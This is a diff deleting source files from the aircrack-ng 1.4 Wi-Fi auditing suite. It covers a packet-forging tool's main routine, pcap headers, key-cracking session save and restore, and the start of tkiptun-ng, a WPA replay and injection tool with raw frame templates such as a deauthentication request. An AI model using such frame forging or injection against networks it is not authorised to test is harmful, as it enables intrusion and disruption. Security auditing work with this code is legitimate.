-}
-
-int main(int argc, char * argv[])
-{
-	int arg;
-	int option_index;
-	int ret;
-	int n;
-
-	memset(&opt, 0, sizeof(opt));
-
-	/* initialise global options */
-	memset(opt.bssid, '\x00', 6);
-	memset(opt.dmac, '\x00', 6);
-	memset(opt.smac, '\x00', 6);
-	memset(opt.dip, '\x00', 4);
-	memset(opt.sip, '\x00', 4);
-	memset(opt.fctrl, '\x00', 2);
-
-	opt.prga = NULL;
-	opt.cap_out = NULL;
-	opt.raw_file = NULL;
-
-	opt.mode = -1;
-	opt.pktlen = -1;
-	opt.prgalen = -1;
-	opt.ttl = -1;
-
-	opt.sport = -1;
-	opt.dport = -1;
-
-	opt.tods = 1;
-	opt.fromds = 0;
-	opt.encrypt = 1;
-
-	opt.size = 30;
-
-	opt.ivs2 = NULL;
-	memset(opt.prev_bssid, '\x00', 6);
-
-	opt.first_packet = 1;
-	opt.num_packets = 1;
-
-	srand(time(NULL));
-
-	while (1)
-	{
-		static struct option long_options[] = {{"arp", 0, 0, '0'},
-											   {"udp", 0, 0, '1'},
-											   {"icmp", 0, 0, '2'},
-											   {"null", 0, 0, '3'},
-											   {"custom", 0, 0, '9'},
-											   {"help", 0, 0, 'H'},
-											   {0, 0, 0, 0}};
-
-		int option;
-		option_index = 0;
-		option = getopt_long(argc,
-							 argv,
-							 "p:a:c:h:jok:l:j:r:y:01239w:et:s:Hn:",
-							 long_options,
-							 &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case 0:
-				break;
-
-			case ':':
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case 'p':
-
-				ret = sscanf(optarg, "%x", &arg);
-				if (arg < 0 || arg > 65535 || ret != 1)
-				{
-					printf("Invalid frame control word. [0-65535]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.fctrl[0] = ((arg >> 8) & 0xFF);
-				opt.fctrl[1] = (arg & 0xFF);
-				break;
-
-			case 't':
-
-				ret = sscanf(optarg, "%i", &arg);
-				if (arg < 0 || arg > 255 || ret != 1)
-				{
-					printf("Invalid time to live. [0-255]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.ttl = arg;
-				break;
-
-			case 'n':
-
-				ret = sscanf(optarg, "%i", &arg);
-				if (arg <= 0 || ret != 1)
-				{
-					printf("Invalid number of packets. [>=1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.num_packets = arg;
-				break;
-
-			case 'a':
-
-				if (getmac(optarg, 1, opt.bssid) != 0)
-				{
-					printf("Invalid AP MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'c':
-
-				if (getmac(optarg, 1, opt.dmac) != 0)
-				{
-					printf("Invalid destination MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'h':
-
-				if (getmac(optarg, 1, opt.smac) != 0)
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'j':
-
-				opt.fromds = 1;
-				break;
-
-			case 'o':
-
-				opt.tods = 0;
-				break;
-
-			case 'e':
-
-				opt.encrypt = 0;
-				break;
-
-			case 'r':
-
-				if (opt.raw_file != NULL)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.raw_file = optarg;
-				break;
-
-			case 'y':
-
-				if (opt.prga != NULL)
-				{
-					printf("PRGA file already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (read_prga(&(opt.prga), optarg) != 0)
-				{
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'w':
-
-				if (opt.cap_out != NULL)
-				{
-					printf("Output file already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.cap_out = optarg;
-
-				break;
-
-			case 'k':
-
-				if (getip(optarg, opt.dip, &(opt.dport)) != 0)
-				{
-					printf("Invalid destination IP address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return 1;
-				}
-				break;
-
-			case 'l':
-
-				if (getip(optarg, opt.sip, &(opt.sport)) != 0)
-				{
-					printf("Invalid source IP address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return 1;
-				}
-				break;
-
-			case 's':
-
-				ret = sscanf(optarg, "%i", &arg);
-				if (arg < 26 || arg > 1520 || ret != 1)
-				{
-					printf("Invalid packet size. [26-1520]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.size = arg;
-				break;
-
-			case '0':
-
-				if (opt.mode != -1)
-				{
-					printf("Mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.mode = 0;
-
-				break;
-
-			case '1':
-
-				if (opt.mode != -1)
-				{
-					printf("Mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.mode = 1;
-				break;
-
-			case '2':
-
-				if (opt.mode != -1)
-				{
-					printf("Mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.mode = 2;
-				break;
-
-			case '3':
-
-				if (opt.mode != -1)
-				{
-					printf("Mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.mode = 3;
-				break;
-
-			case '9':
-
-				if (opt.mode != -1)
-				{
-					printf("Mode already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.mode = 9;
-				break;
-
-			case 'H':
-
-				print_usage();
-				return (1);
-
-			default:
-				break;
-		}
-	}
-
-	if (argc == 1)
-	{
-		print_usage();
-		printf("Please specify a mode.\n");
-		return (1);
-	}
-
-	if (opt.raw_file != NULL)
-	{
-		if (!(dev.f_cap_in = fopen(opt.raw_file, "rb")))
-		{
-			perror("open failed");
-			return (1);
-		}
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
-		{
-			perror("fread(pcap file header) failed");
-			return (1);
-		}
-
-		if (dev.pfh_in.magic != TCPDUMP_MAGIC
-			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
-		{
-			fprintf(stderr,
-					"\"%s\" isn't a pcap file (expected "
-					"TCPDUMP_MAGIC).\n",
-					opt.raw_file);
-			return (1);
-		}
-
-		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
-
-		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
-			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
-			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
-			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
-		{
-			fprintf(stderr,
-					"Wrong linktype from pcap file header "
-					"(expected LINKTYPE_IEEE802_11) -\n"
-					"this doesn't look like a regular 802.11 "
-					"capture.\n");
-			return (1);
-		}
-	}
-
-	for (n = 0; n < opt.num_packets; n++)
-	{
-		switch (opt.mode)
-		{
-			case 0:
-				if (forge_arp() != 0)
-				{
-					printf("Error building an ARP packet.\n");
-					return 1;
-				}
-				break;
-			case 1:
-				if (forge_udp() != 0)
-				{
-					printf("Error building an UDP packet.\n");
-					return 1;
-				}
-				break;
-			case 2:
-				if (forge_icmp() != 0)
-				{
-					printf("Error building an ICMP packet.\n");
-					return 1;
-				}
-				break;
-
-			case 3:
-				if (forge_null() != 0)
-				{
-					printf("Error building a NULL packet.\n");
-					return 1;
-				}
-				break;
-
-			case 9:
-				if (forge_custom() != 0)
-				{
-					printf("Error building a custom packet.\n");
-					return 1;
-				}
-				break;
-			default:
-				print_usage();
-				printf("Please specify a mode.\n");
-				return 1;
-		}
-
-		if (opt.encrypt)
-		{
-			if (create_wep_packet(h80211, &(opt.pktlen)) != 0) return 1;
-		}
-		else
-		{
-			/* set WEP bit = 0 */
-			h80211[1] = h80211[1] & 0xBF;
-		}
-
-		if (write_cap_packet(h80211, opt.pktlen) != 0)
-		{
-			printf("Error writing pcap file %s.\n", opt.cap_out);
-			return 1;
-		}
-	}
-	printf("Wrote packet%s to: %s\n",
-		   (opt.num_packets > 1 ? "s" : ""),
-		   opt.cap_out);
-
-	if (opt.ivs2) fclose(opt.ivs2);
-
-	return 0;
-}

aircrack-ng-1.4.tar.gz/src/pcap.h Deleted

@@ -1,115 +0,0 @@
-/*
- *
- *  Copyright (C) 2001-2004  Christophe Devine
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
-
- */
-#ifndef _AIRCRACK_NG_PCAP_H_
-#define _AIRCRACK_NG_PCAP_H_
-
-#include <stdint.h>
-
-#define FORMAT_CAP 1
-#define FORMAT_IVS 2
-#define FORMAT_IVS2 3
-#define FORMAT_HCCAP 4
-#define FORMAT_HCCAPX 5
-
-#define HCCAPX_MAGIC "HCPX"
-#define TCPDUMP_MAGIC 0xA1B2C3D4
-#define TCPDUMP_CIGAM 0xD4C3B2A1
-#define IVSONLY_MAGIC "\xBF\xCA\x84\xD4"
-#define IVS2_MAGIC "\xAE\x78\xD1\xFF"
-#define IVS2_EXTENSION "ivs"
-#define IVS2_VERSION 1
-
-#define PCAP_VERSION_MAJOR 2
-#define PCAP_VERSION_MINOR 4
-
-#define LINKTYPE_ETHERNET 1
-#define LINKTYPE_IEEE802_11 105
-#define LINKTYPE_PRISM_HEADER 119
-#define LINKTYPE_RADIOTAP_HDR 127
-#define LINKTYPE_PPI_HDR 192
-
-// BSSID const. length of 6 bytes; can be together with all the other types
-#define IVS2_BSSID 0x0001
-
-// ESSID var. length; alone, or with BSSID
-#define IVS2_ESSID 0x0002
-
-// wpa structure, const. length; alone, or with BSSID
-#define IVS2_WPA 0x0004
-
-// IV+IDX+KEYSTREAM, var. length; alone or with BSSID
-#define IVS2_XOR 0x0008
-
-/* [IV+IDX][i][l][XOR_1]..[XOR_i][weight] *
- * holds i possible keystreams for the same IV with a length of l for each
- * keystream (l max 32)  *
- * and an array "int weight[16]" at the end */
-#define IVS2_PTW 0x0010
-
-// unencrypted packet
-#define IVS2_CLR 0x0020
-
-// Maximum length of an Information Element
-#define MAX_IE_ELEMENT_SIZE 256
-
-struct pcap_file_header
-{
-	uint32_t magic;
-	uint16_t version_major;
-	uint16_t version_minor;
-	int32_t thiszone;
-	uint32_t sigfigs;
-	uint32_t snaplen;
-	uint32_t linktype;
-};
-
-struct pcap_pkthdr
-{
-	int32_t tv_sec;
-	int32_t tv_usec;
-	uint32_t caplen;
-	uint32_t len;
-};
-
-struct ivs2_filehdr
-{
-	uint16_t version;
-};
-
-struct ivs2_pkthdr
-{
-	uint16_t flags;
-	uint16_t len;
-};
-
-#endif /* common.h */

aircrack-ng-1.4.tar.gz/src/session.c Deleted

@@ -1,495 +0,0 @@
-/*
- *  Aircrack-ng session (load/restore).
- *
- *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#define _GNU_SOURCE
-#include "session.h"
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <inttypes.h>
-
-#include "aircrack-util/common.h"
-
-int ac_session_destroy(struct session * s)
-{
-	if (s == NULL || s->filename == NULL)
-	{
-		return 0;
-	}
-
-	pthread_mutex_lock(&(s->mutex));
-	FILE * f = fopen(s->filename, "r");
-	if (!f)
-	{
-		pthread_mutex_unlock(&(s->mutex));
-		return 0;
-	}
-
-	fclose(f);
-	int ret = remove(s->filename);
-	pthread_mutex_unlock(&(s->mutex));
-
-	return ret == 0;
-}
-
-void ac_session_free(struct session ** s)
-{
-	if (s == NULL || *s == NULL)
-	{
-		return;
-	}
-
-	if ((*s)->filename)
-	{
-
-		// Delete 0 byte file
-		struct stat scs;
-		memset(&scs, 0, sizeof(struct stat));
-		pthread_mutex_lock(&((*s)->mutex));
-		if (stat((*s)->filename, &scs) == 0 && scs.st_size == 0)
-		{
-			pthread_mutex_unlock(&((*s)->mutex));
-			ac_session_destroy(*s);
-		}
-
-		free((*s)->filename);
-	}
-	if ((*s)->argv)
-	{
-		for (int i = 0; i < (*s)->argc; ++i)
-		{
-			free((*s)->argv[i]);
-		}
-		free((*s)->argv);
-	}
-	if ((*s)->working_dir) free((*s)->working_dir);
-
-	free(*s);
-	*s = NULL;
-}
-
-struct session * ac_session_new(void)
-{
-	return (struct session *) calloc(1, sizeof(struct session));
-}
-
-int ac_session_init(struct session * s)
-{
-	if (s == NULL)
-	{
-		return EXIT_FAILURE;
-	}
-
-	memset(s, 0, sizeof(struct session));
-	pthread_mutex_init(&(s->mutex), NULL);
-
-	return EXIT_SUCCESS;
-}
-
-int ac_session_set_working_directory(struct session * session, const char * str)
-{
-	if (session == NULL || str == NULL || str[0] == 0 || chdir(str) == -1)
-	{
-		return EXIT_FAILURE;
-	}
-
-	session->working_dir = strdup(str);
-
-	return (session->working_dir) ? EXIT_SUCCESS : EXIT_FAILURE;
-}
-
-int ac_session_set_bssid(struct session * session, const char * str)
-{
-	if (session == NULL || str == NULL || strlen(str) != 17)
-	{
-		return EXIT_FAILURE;
-	}
-
-	// Parse BSSID
-	unsigned int bssid[6];
-	int count = sscanf(str,
-					   "%02X:%02X:%02X:%02X:%02X:%02X",
-					   &bssid[0],
-					   &bssid[1],
-					   &bssid[2],
-					   &bssid[3],
-					   &bssid[4],
-					   &bssid[5]);
-
-	// Verify all parsed correctly
-	if (count < 6)
-	{
-		return EXIT_FAILURE;
-	}
-
-	// Copy it back to the structure
-	for (int i = 0; i < 6; ++i)
-	{
-		session->bssid[i] = (uint8_t) bssid[i];
-	}
-
-	return EXIT_SUCCESS;
-}
-
-int ac_session_set_wordlist_settings(struct session * session, const char * str)
-{
-	if (session == NULL || str == NULL)
-	{
-		return EXIT_FAILURE;
-	}
-
-	int nb_input_scanned = sscanf(str,
-								  "%hhu %" PRId64 " %lld",
-								  &(session->wordlist_id),
-								  &(session->pos),
-								  &(session->nb_keys_tried));
-
-	if (nb_input_scanned != 3 || session->pos < 0 || session->nb_keys_tried < 0)
-	{
-		return EXIT_FAILURE;
-	}
-
-	return EXIT_SUCCESS;
-}
-
-#define SESSION_MIN_NBARG 4
-int ac_session_set_amount_arguments(struct session * session, const char * str)
-{
-	if (session == NULL || str == NULL)
-	{
-		return EXIT_FAILURE;
-	}
-
-	// Parse amount of arguments
-	int nb_input_scanned = sscanf(str, "%d", &(session->argc));
-	if (nb_input_scanned != 1 || session->argc < SESSION_MIN_NBARG)
-	{
-		// There should be at least 4 arguments:
-		// - Executable path (argv[0])
-		// - -w
-		// - Wordlist
-		// - capture file
-		return EXIT_FAILURE;
-	}
-
-	// Allocate memory for all the arguments
-	session->argv = (char **) calloc(session->argc, sizeof(char *));
-
-	return (session->argv) ? EXIT_SUCCESS : EXIT_FAILURE;
-}
-
-static char * ac_session_getline(FILE * f)
-{
-	if (f == NULL)
-	{
-		return NULL;
-	}
-
-	char * ret = NULL;
-	size_t n = 0;
-	ssize_t line_len = getline(&ret, &n, f);
-
-	if (line_len == -1)
-	{
-		return NULL;
-	}
-
-	return ret;
-}
-
-/*
- * MT-Unsafe: Caller must not permit multiple threads to call
- * the function with the same filename.
- *
- * File format:
- * Line 1: Working directory
- * Line 2: BSSID
- * Line 3: Wordlist ID followed by a space then
- *          position in file followed by a space then
- *          amount of keys tried
- * Line 4: Amount of arguments (indicates how many lines will follow this one)
- *
- * Notes:
- * - Any line starting with # is ignored
- * - First 4 lines CANNOT be empty
- * - Lines are trimmed of any possible \r and \n at the end
- */
-
-#define SESSION_ARGUMENTS_LINE 4
-#define AC_SESSION_CWD_LINE 0
-#define AC_SESSION_BSSID_LINE 1
-#define AC_SESSION_WL_SETTINGS_LINE 2
-#define AC_SESSION_ARGC_LINE 3
-struct session * ac_session_load(const char * filename)
-{
-	int temp;
-
-	// Check if file exists
-	if (filename == NULL || filename[0] == 0)
-	{
-		return NULL;
-	}
-	FILE * f = fopen(filename, "r");
-	if (f == NULL)
-	{
-		return NULL;
-	}
-
-	// Check size isn't 0
-	if (fseeko(f, 0, SEEK_END))
-	{
-		fclose(f);
-		return NULL;
-	}
-	uint64_t fsize = ftello(f);
-	if (fsize == 0)
-	{
-		fclose(f);
-		return NULL;
-	}
-	rewind(f);
-
-	// Prepare structure
-	struct session * ret = ac_session_new();
-	if (ret == NULL)
-	{
-		fclose(f);
-		return NULL;
-	}
-
-	// Initialize
-	ac_session_init(ret);
-	ret->filename = strdup(filename);
-
-	char * line;
-	int line_nr = 0;
-	while (1)
-	{
-		line = ac_session_getline(f);
-
-		// Basic checks and trimming
-		if (line == NULL) break;
-		if (line[0] == '#') continue;
-		rtrim(line);
-
-		// Check the parameters
-		switch (line_nr)
-		{
-			case AC_SESSION_CWD_LINE: // Working directory
-			{
-				temp = ac_session_set_working_directory(ret, line);
-				break;
-			}
-			case AC_SESSION_BSSID_LINE: // BSSID
-			{
-				temp = ac_session_set_bssid(ret, line);
-				break;
-			}
-			case AC_SESSION_WL_SETTINGS_LINE: // Wordlist ID, position in
-				// wordlist and amount of keys
-				// tried
-				{
-					temp = ac_session_set_wordlist_settings(ret, line);
-					break;
-				}
-			case AC_SESSION_ARGC_LINE: // Number of arguments
-			{
-				temp = ac_session_set_amount_arguments(ret, line);
-				break;
-			}
-			default: // All the arguments
-			{
-				ret->argv[line_nr - SESSION_ARGUMENTS_LINE] = line;
-				temp = EXIT_SUCCESS;
-				break;
-			}
-		}
-
-		// Cleanup
-		if (line_nr < SESSION_ARGUMENTS_LINE)
-		{
-			free(line);
-		}
-
-		// Check for success/failure
-		if (temp == EXIT_FAILURE)
-		{
-			fclose(f);
-			ac_session_free(&ret);
-			return NULL;
-		}
-
-		++line_nr;
-	}
-
-	fclose(f);
-	if (line_nr < SESSION_ARGUMENTS_LINE + 1)
-	{
-		ac_session_free(&ret);
-		return NULL;
-	}
-
-	return ret;
-}
-
-// Two arguments will be ignored: Session creation parameter and its argument
-#define AMOUNT_ARGUMENTS_IGNORE 2
-struct session *
-ac_session_from_argv(const int argc, char ** argv, const char * filename)
-{
-	if (filename == NULL || filename[0] == 0 || argc <= 3 || argv == NULL)
-	{
-		// If it only has this parameter, then there is something wrong
-		return NULL;
-	}
-
-	// Check if the file exists and create it if it doesn't
-	int fd = -1;
-	if ((fd = open(filename, O_WRONLY | O_CREAT | O_EXCL, 0666)) >= 0)
-	{
-		// Just create an empty file for now
-		close(fd);
-	}
-	else
-	{
-		// Not overwriting
-		fprintf(stderr, "Session file already exists: %s\n", filename);
-		return NULL;
-	}
-
-	// Initialize structure
-	struct session * ret = ac_session_new();
-	if (ret == NULL)
-	{
-		return NULL;
-	}
-	ac_session_init(ret);
-
-	// Get working directory and copy filename
-	ret->working_dir = get_current_working_directory();
-
-	// Copy filename
-	ret->filename = strdup(filename);
-
-	// Copy argc and argv, except the 2 specifying session filename location
-	ret->argv
-		= (char **) calloc(argc - AMOUNT_ARGUMENTS_IGNORE, sizeof(char *));
-
-	// Check values are properly set
-	if (ret->filename == NULL || ret->working_dir == NULL || ret->argv == NULL)
-	{
-		ac_session_free(&ret);
-		return NULL;
-	}
-
-	// Copy all the arguments
-	for (int i = 0; i < argc; ++i)
-	{
-		if (strcmp(argv[i], filename) == 0)
-		{
-			// Found the session filename, now remove the previously copied
-			// argument
-			ret->argc--;
-			free(ret->argv[ret->argc]);
-			ret->argv[ret->argc] = NULL;
-			continue;
-		}
-
-		// Copy argument
-		ret->argv[ret->argc] = strdup(argv[i]);
-		if (ret->argv[ret->argc] == NULL)
-		{
-			ac_session_free(&ret);
-			return NULL;
-		}
-
-		// Increment count
-		ret->argc++;
-	}
-
-	return ret;
-}
-
-int ac_session_save(struct session * s,
-					uint64_t pos,
-					long long int nb_keys_tried)
-{
-	if (s == NULL || s->filename == NULL || s->working_dir == NULL
-		|| s->argc == 0
-		|| s->argv == NULL)
-	{
-		return -1;
-	}
-
-	// Update amount of keys tried in structure
-	s->nb_keys_tried = nb_keys_tried;
-
-	// Open file for writing
-	pthread_mutex_lock(&(s->mutex));
-	FILE * f = fopen(s->filename, "w");
-	if (f == NULL)
-	{
-		pthread_mutex_unlock(&(s->mutex));
-		return -1;
-	}
-
-	// Update position in wordlist
-	s->pos = pos;
-
-	// Write it
-	fprintf(f, "%s\n", s->working_dir);
-	fprintf(f,
-			"%02X:%02X:%02X:%02X:%02X:%02X\n",
-			s->bssid[0],
-			s->bssid[1],
-			s->bssid[2],
-			s->bssid[3],
-			s->bssid[4],
-			s->bssid[5]);
-	fprintf(
-		f, "%d %" PRId64 " %lld\n", s->wordlist_id, s->pos, s->nb_keys_tried);
-	fprintf(f, "%d\n", s->argc);
-	for (int i = 0; i < s->argc; ++i)
-	{
-		fprintf(f, "%s\n", s->argv[i]);
-	}
-	fclose(f);
-	pthread_mutex_unlock(&(s->mutex));
-
-	return 0;
-}
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/session.h Deleted

@@ -1,83 +0,0 @@
-/*
- *  Aircrack-ng session (load/restore).
- *
- *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#ifndef _AIRCRACK_NG_SESSION_H
-#define _AIRCRACK_NG_SESSION_H
-
-#include <inttypes.h>
-#include <pthread.h>
-
-struct session
-{
-	char * filename; // Session filename
-
-	// Session file content
-	char * working_dir; // Line 1: Current working directory
-	unsigned char bssid[6]; // Line 2: BSSID
-	unsigned char wordlist_id; // Line 3: Wordlist # (there can be multiple
-	// wordlist loaded using -w
-	int64_t pos; // Line 3: Position in the wordlist ID.
-	long long int
-		nb_keys_tried; // Line 3: Amount of keys already tried, purely for stats
-	int argc; // Line 4: amount of arguments
-	char ** argv; // Line 5 and further: Arguments (1 per line)
-	pthread_mutex_t
-		mutex; // Locking for when updating wordlist settings and saving file
-};
-
-struct session * ac_session_new(void);
-int ac_session_destroy(struct session * s);
-void ac_session_free(struct session ** s);
-int ac_session_init(struct session * s);
-
-// Validate and set the different values in the session structure
-int ac_session_set_working_directory(struct session * session,
-									 const char * str);
-int ac_session_set_bssid(struct session * session, const char * str);
-int ac_session_set_wordlist_settings(struct session * session,
-									 const char * str);
-int ac_session_set_amount_arguments(struct session * session, const char * str);
-
-// Load from file
-struct session * ac_session_load(const char * filename);
-
-// Save to file
-int ac_session_save(struct session * s,
-					uint64_t pos,
-					long long int nb_keys_tried);
-
-struct session *
-ac_session_from_argv(const int argc, char ** argv, const char * filename);
-
-#endif // _AIRCRACK_NG_SESSION_H

aircrack-ng-1.4.tar.gz/src/sha1-git.c Deleted

aircrack-ng-1.4.tar.gz/src/tkiptun-ng.c Deleted

@@ -1,4109 +0,0 @@
-/*
- *  802.11 WPA replay & injection attacks
- *
- *  Copyright (C) 2008, 2009 Martin Beck <hirte@aircrack-ng.org>
- *
- *  WEP decryption attack (chopchop) developed by KoreK
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#if defined(linux)
-#include <linux/rtc.h>
-#endif
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <unistd.h>
-#include <dirent.h>
-#include <signal.h>
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <errno.h>
-#include <time.h>
-#include <getopt.h>
-
-#include <fcntl.h>
-#include <ctype.h>
-
-#include <limits.h>
-
-#include <netinet/in_systm.h>
-#include <netinet/ip.h>
-#include <netinet/tcp.h>
-
-#include "version.h"
-#include "pcap.h"
-#include "aircrack-osdep/osdep.h"
-#include "crypto.h"
-#include "aircrack-util/common.h"
-#include "eapol.h"
-#include "aircrack-util/console.h"
-
-#define RTC_RESOLUTION 8192
-
-#define REQUESTS 30
-#define MAX_APS 20
-
-#define NEW_IV 1
-#define RETRY 2
-#define ABORT 3
-
-#define DEAUTH_REQ                                                             \
-	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
-
-#define AUTH_REQ                                                               \
-	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
-
-#define ASSOC_REQ                                                              \
-	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
-
-#define NULL_DATA                                                              \
-	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
-
-#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
-
-#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
-
-#define PROBE_REQ                                                              \
-	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
